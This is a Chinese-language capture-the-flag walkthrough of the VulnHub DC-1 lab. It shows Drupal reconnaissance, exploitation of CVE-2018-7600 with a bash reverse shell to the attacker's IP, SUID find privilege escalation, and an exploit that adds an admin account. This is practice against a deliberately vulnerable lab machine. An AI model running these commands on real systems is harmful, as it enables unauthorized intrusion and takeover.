一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC1(10.0.2.54)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.54
使用nmap端口扫描发现靶机开放端口:22、80、111、37884
80端口:打开网站发现该网站为Drupal CMS
使用gobuster工具进行目录爆破
gobuster dir -u http://10.0.2.54 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
目录爆破发现/robots.txt
,我们把robots.txt里面的文件和目录都访问一遍
通过UPGRADE.txt
文件,我们大致推断Drupal的版本为7点几
三、漏洞利用
使用searchsploit工具搜索Drupal cms的历史漏洞,我们把Drupal 版本为7点几的exp都尝试一遍,发现部分exp可以使用,其他的或多或少都有些问题
直接在网上找一个Drupal7命令执行的exp:https://github.com/pimps/CVE-2018-7600
反弹shell
python CVE-2018-7600.py http://10.0.2.54 -c "bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'"
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现find命令
使用find命令进行提权
/usr/bin/find . -exec /bin/bash -p \; -quit
获取flag
find / -name flag*
flag1:
flag4:
flag2:
find /var/www/ -name set*
flag3:
之前尝试过这个exp可以添加一个管理员账号,当然也可以获得root权限后登录数据库查看管理员账号密码
python2 34992.py -t http://10.0.2.54/ -u test -p test
登录网站发现flag3
thefinalflag: